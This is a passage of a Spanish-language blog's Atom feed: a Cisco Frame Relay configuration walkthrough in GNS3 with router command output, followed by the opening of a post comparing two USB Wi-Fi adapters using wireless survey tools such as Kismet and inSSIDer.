src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/3jloMIHjNY4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/2101113246904355519/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=2101113246904355519" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2101113246904355519?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2101113246904355519?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/3jloMIHjNY4/gns3-impresionado-con-idlepc-idlemax.html" title="GNS3, impresionado con idlepc + idlemax" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-kRutpjX17SI/TeaRPmst7uI/AAAAAAAABMQ/ltb__HlJQT4/s72-c/ospf.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/06/gns3-impresionado-con-idlepc-idlemax.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YMRHY-fyp7ImA9WhZUEUs.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-556756430202888075</id><published>2011-05-31T16:54:00.007-05:00</published><updated>2011-06-03T23:19:45.857-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T23:19:45.857-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="WAN" /><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Layer 2" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Router" /><category scheme="http://www.blogger.com/atom/ns#" term="Networking" /><category scheme="http://www.blogger.com/atom/ns#" term="Dynamips" /><category scheme="http://www.blogger.com/atom/ns#" term="CCNA" /><title>Configuración de Frame Relay</title><content type="html">&lt;div style="text-align: justify;"&gt;Frame Relay es un protocolo WAN muy popular porque facilita la construcción de redes confiables y de bajo costo. Uno de sus principales ventajas es de poder configurar enlaces seriales punto a punto con la capacidad de conectar un sitio a muchos sitios remotos a través de un circuito físico. En este post se mostrara la configuración de Frame Relay utilizando la siguiente topologia.&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/--jXTviul9BQ/TeVj5HhHrHI/AAAAAAAABLw/El_zQBGUCwM/s1600/Frame-Relay.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 307px;" src="http://3.bp.blogspot.com/--jXTviul9BQ/TeVj5HhHrHI/AAAAAAAABLw/El_zQBGUCwM/s400/Frame-Relay.jpg" alt="" id="BLOGGER_PHOTO_ID_5613002343508847730" border="0" /&gt;&lt;/a&gt;Empecemos configurando el primer Router&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;conf t&lt;/span&gt;&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;int s1/0&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.1.1 255.255.255.248&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no frame-relay inverse-arp&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.2 102 broadcast&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.3 103 broadcast&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no shut&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;br /&gt;*Mar  1 00:11:15.775: %LINK-3-UPDOWN: Interface Serial1/0, changed state to up&lt;br /&gt;Router1(config-if)#&lt;br /&gt;*Mar  1 00:11:26.775: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;end&lt;/span&gt;&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;Hacemos lo mismo con el Router2&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;conf t&lt;/span&gt;&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router2(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;int s1/0&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.1.2 255.255.255.248&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no frame-relay inverse-arp&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.1 201 broadcast&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.3 201 &lt;/span&gt;   &lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no shut&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;br /&gt;*Mar  1 00:11:01.831: %LINK-3-UPDOWN: Interface Serial1/0, changed state to up&lt;br /&gt;Router2(config-if)#&lt;br /&gt;*Mar  1 00:11:12.831: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;end&lt;/span&gt;&lt;br /&gt;Router2#&lt;/code&gt;&lt;/pre&gt;Finalmente la configuracion del Router3&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router3#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router3(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;int s1/0&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.1.3 255.255.255.248&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no frame-relay inverse-arp&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.1 301 broadcast&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay map ip 192.168.1.2 301  &lt;/span&gt; &lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no shut&lt;/span&gt;&lt;br /&gt;Router3(config-if)#&lt;br /&gt;*Mar  1 00:11:33.187: %LINK-3-UPDOWN: Interface Serial1/0, changed state to up&lt;br /&gt;Router3(config-if)#&lt;br /&gt;*Mar  1 00:11:44.187: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up&lt;br /&gt;Router3(config-if)#&lt;br /&gt;Router3(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;end&lt;/span&gt;&lt;br /&gt;Router3#&lt;/code&gt;&lt;/pre&gt;Mostrar el estado de la interface serial1/0 en el Router3&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router3#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip int brief&lt;/span&gt;&lt;br /&gt;Interface                  IP-Address      OK? Method Status                Protocol&lt;br /&gt;FastEthernet0/0            unassigned      YES unset  administratively down down&lt;br /&gt;FastEthernet0/1            unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/0                  192.168.1.3     YES manual up                    up&lt;br /&gt;Serial1/1                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/2                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/3                  unassigned      YES unset  administratively down down&lt;/code&gt;&lt;/pre&gt;Realizar una prueba de conectividad.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router3#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.1&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 16/73/132 ms&lt;br /&gt;Router3#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.2&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 16/105/344 ms&lt;br /&gt;Router3#&lt;/code&gt;&lt;/pre&gt;Mostrar el estado de la interface serial1/0 en el Router2&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip int brief&lt;/span&gt;&lt;br /&gt;Interface                  IP-Address      OK? Method Status                Protocol&lt;br /&gt;FastEthernet0/0            unassigned      YES unset  administratively down down&lt;br /&gt;FastEthernet0/1            unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/0                  192.168.1.2     YES manual up                    up&lt;br /&gt;Serial1/1                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/2                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/3                  unassigned      YES unset  administratively down down&lt;/code&gt;&lt;/pre&gt;Realizar una prueba de conectividad.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.1&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/63/148 ms&lt;br /&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.3&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.3, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 12/127/276 ms&lt;br /&gt;Router2#&lt;/code&gt;&lt;/pre&gt;Verificacamos la misma informacion en el Router1&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip int brief&lt;/span&gt;&lt;br /&gt;Interface                  IP-Address      OK? Method Status                Protocol&lt;br /&gt;FastEthernet0/0            unassigned      YES unset  administratively down down&lt;br /&gt;FastEthernet0/1            unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/0                  192.168.1.1     YES manual up                    up&lt;br /&gt;Serial1/1                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/2                  unassigned      YES unset  administratively down down&lt;br /&gt;Serial1/3                  unassigned      YES unset  administratively down down&lt;br /&gt;&lt;br /&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.2&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/56/140 ms&lt;br /&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.3&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.3, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/60/140 ms&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;Información de encapsulacion y otros datos de la interface serial1/0&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show interfaces serial1/0&lt;/span&gt;&lt;br /&gt;Serial1/0 is up, line protocol is up&lt;br /&gt; Hardware is M4T&lt;br /&gt; Internet address is 192.168.1.1/29&lt;br /&gt; MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,&lt;br /&gt;    reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;Encapsulation FRAME-RELAY&lt;/span&gt;, crc 16, loopback not set&lt;br /&gt; Keepalive set (10 sec)&lt;br /&gt; Restart-Delay is 0 secs&lt;br /&gt; LMI enq sent  44, LMI stat recvd 45, LMI upd recvd 0, DTE LMI up&lt;br /&gt; LMI enq recvd 0, LMI stat sent  0, LMI upd sent  0&lt;br /&gt; LMI DLCI 0  LMI type is ANSI Annex D  frame relay DTE&lt;br /&gt; Broadcast queue 0/64, broadcasts sent/dropped 0/0, interface broadcasts 0&lt;br /&gt; Last input 00:00:00, output 00:00:00, output hang never&lt;br /&gt; Last clearing of "show interface" counters 00:08:52&lt;br /&gt; Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt; Queueing strategy: weighted fair&lt;br /&gt; Output queue: 0/1000/64/0 (size/max total/threshold/drops)&lt;br /&gt;    Conversations  0/1/256 (active/max active/max total)&lt;br /&gt;    Reserved Conversations 0/0 (allocated/max allocated)&lt;br /&gt;    Available Bandwidth 1158 kilobits/sec&lt;br /&gt; 5 minute input rate 0 bits/sec, 0 packets/sec&lt;br /&gt; 5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;    85 packets input, 4870 bytes, 0 no buffer&lt;br /&gt;    Received 0 broadcasts, 0 runts, 0 giants, 0 throttles&lt;br /&gt;    0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort&lt;br /&gt;    89 packets output, 4936 bytes, 0 underruns&lt;br /&gt;    0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;    0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;    1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;Estadísticas LMI&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show frame-relay lmi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LMI Statistics for interface Serial1/0 (Frame Relay DTE) LMI TYPE = ANSI&lt;br /&gt;Invalid Unnumbered info 0             Invalid Prot Disc 0&lt;br /&gt;Invalid dummy Call Ref 0              Invalid Msg Type 0&lt;br /&gt;Invalid Status Message 0              Invalid Lock Shift 0&lt;br /&gt;Invalid Information ID 0              Invalid Report IE Len 0&lt;br /&gt;Invalid Report Request 0              Invalid Keep IE Len 0&lt;br /&gt;Num Status Enq. Sent 51               Num Status msgs Rcvd 52&lt;br /&gt;Num Update Status Rcvd 0              Num Status Timeouts 0&lt;br /&gt;Last Full Status Req 00:00:36         Last Full Status Rcvd 00:00:36&lt;/code&gt;&lt;/pre&gt;El siguiente comando muestra el estado y varias estadísticas útiles de cada uno de los PVC (Permanent Virtual Circuits).&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show frame-relay pvc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PVC Statistics for interface Serial1/0 (Frame Relay DTE)&lt;br /&gt;&lt;br /&gt;       Active     Inactive      Deleted       Static&lt;br /&gt;Local          2            0            0            0&lt;br /&gt;Switched       0            0            0            0&lt;br /&gt;Unused         0            0            0            0&lt;br /&gt;&lt;br /&gt;DLCI = 102, DLCI USAGE = LOCAL, PVC STATUS = ACTIVE, INTERFACE = Serial1/0&lt;br /&gt;&lt;br /&gt;input pkts 20            output pkts 21           in bytes 2080&lt;br /&gt;out bytes 2140           dropped pkts 0           in pkts dropped 0  &lt;br /&gt;out pkts dropped 0                out bytes dropped 0  &lt;br /&gt;in FECN pkts 0           in BECN pkts 0           out FECN pkts 0  &lt;br /&gt;out BECN pkts 0          in DE pkts 0             out DE pkts 0  &lt;br /&gt;out bcast pkts 0         out bcast bytes 0  &lt;br /&gt;5 minute input rate 0 bits/sec, 0 packets/sec&lt;br /&gt;5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;pvc create time 00:09:11, last time pvc status changed 00:07:44&lt;br /&gt;&lt;br /&gt;DLCI = 103, DLCI USAGE = LOCAL, PVC STATUS = ACTIVE, INTERFACE = Serial1/0&lt;br /&gt;&lt;br /&gt;input pkts 20            output pkts 21           in bytes 2080&lt;br /&gt;out bytes 2140           dropped pkts 0           in pkts dropped 0  &lt;br /&gt;out pkts dropped 0                out bytes dropped 0  &lt;br /&gt;in FECN pkts 0           in BECN pkts 0           out FECN pkts 0  &lt;br /&gt;out BECN pkts 0          in DE pkts 0             out DE pkts 0  &lt;br /&gt;out bcast pkts 0         out bcast bytes 0  &lt;br /&gt;5 minute input rate 0 bits/sec, 0 packets/sec&lt;br /&gt;5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;pvc create time 00:08:52, last time pvc status changed 00:07:45&lt;/code&gt;&lt;/pre&gt;Información de los mapas actuales&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show frame-relay map&lt;/span&gt;&lt;br /&gt;Serial1/0 (up): ip 192.168.1.2 dlci 102(0x66,0x1860), static,&lt;br /&gt;       broadcast,&lt;br /&gt;       CISCO, status defined, active&lt;br /&gt;Serial1/0 (up): ip 192.168.1.3 dlci 103(0x67,0x1870), static,&lt;br /&gt;       broadcast,&lt;br /&gt;       CISCO, status defined, active&lt;/code&gt;&lt;/pre&gt;Estadisticas de trafico&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show frame-relay traffic&lt;/span&gt;&lt;br /&gt;Frame Relay statistics:&lt;br /&gt; ARP requests sent 0, ARP replies sent 0&lt;br /&gt; ARP request recvd 0, ARP replies recvd 0&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-556756430202888075?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=t4Bz-pt1nhs:NMQEeitcqQY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=t4Bz-pt1nhs:NMQEeitcqQY:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/t4Bz-pt1nhs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/556756430202888075/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=556756430202888075" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/556756430202888075?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/556756430202888075?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/t4Bz-pt1nhs/configuracion-de-frame-relay.html" title="Configuración de Frame Relay" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/--jXTviul9BQ/TeVj5HhHrHI/AAAAAAAABLw/El_zQBGUCwM/s72-c/Frame-Relay.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/05/configuracion-de-frame-relay.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEGRXczfip7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-1424967717637080973</id><published>2011-04-15T12:48:00.016-05:00</published><updated>2011-12-03T16:50:24.986-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T16:50:24.986-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas" /><category scheme="http://www.blogger.com/atom/ns#" term="Review" /><category scheme="http://www.blogger.com/atom/ns#" term="RTL8187" /><category scheme="http://www.blogger.com/atom/ns#" term="FL-2016G" /><category scheme="http://www.blogger.com/atom/ns#" term="Alfa 2W" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><category scheme="http://www.blogger.com/atom/ns#" term="WarDriving" /><title>Comparativa entre Alfa 2000mw AWUS036NH vs FL-2016G</title><content type="html">&lt;div style="text-align: justify;"&gt;Como tengo en mi mano estos dos dispositivos, el Alfa 2000mw AWUS036NH y FL-2016G o también conocido por el dragon, decidí ponerlos a prueba usando algunas herramientas para analizar las conexiones inalámbricas que tenemos a nuestro alcance, como el Kismet, inSSIDer y Vistumbler en Windows 7. El alfa 2000mw tiene un chipset Ralink RT2870/3070 y el FL-2016G trae el famoso chipset rtl8187. Así que verán en este post cual fue la sorpresa entre en Alfa 2000mw y el FL-2016G 1000mw.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herramientas Utilizadas&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Vistumber &lt;a href="http://www.vistumbler.net/"&gt;http://www.vistumbler.net/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;inSSIDer &lt;a href="http://www.metageek.net/products/inssider/"&gt;http://www.metageek.net/products/inssider/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;NetStumbler &lt;a href="http://www.netstumbler.com/downloads/"&gt;http://www.netstumbler.com/downloads/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Kismet &lt;a href="http://www.kismetwireless.net/"&gt;http://www.kismetwireless.net/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-VDBJ6dXM3H0/TaiFs5l4wVI/AAAAAAAABJQ/jXTDTqPr-NA/s1600/Alfa2W-FL2016G.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 333px;" src="http://2.bp.blogspot.com/-VDBJ6dXM3H0/TaiFs5l4wVI/AAAAAAAABJQ/jXTDTqPr-NA/s400/Alfa2W-FL2016G.JPG" alt="" id="BLOGGER_PHOTO_ID_5595869543428309330" border="0" /&gt;&lt;/a&gt;También debo de mencionar que el dispositivo FL-2016G tiene una placa  interna color verde. No es la de color azul que algunos que lo tienen mencionan que es mejor y casi similar al alfa, tal vez mas adelante compre una con placa azul para realizar un review entre estos dos dispositivos. La comparación en Windows 7 lo realice con el Vistumbler y el inSSIDer, también quise realizar la comparativa usando NetStumbler pero para esto lo realice en Windows XP ya que NetStumbler no es soportado en los demás versiones de Windows. En BackTrack utilice la herramienta Kismet.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 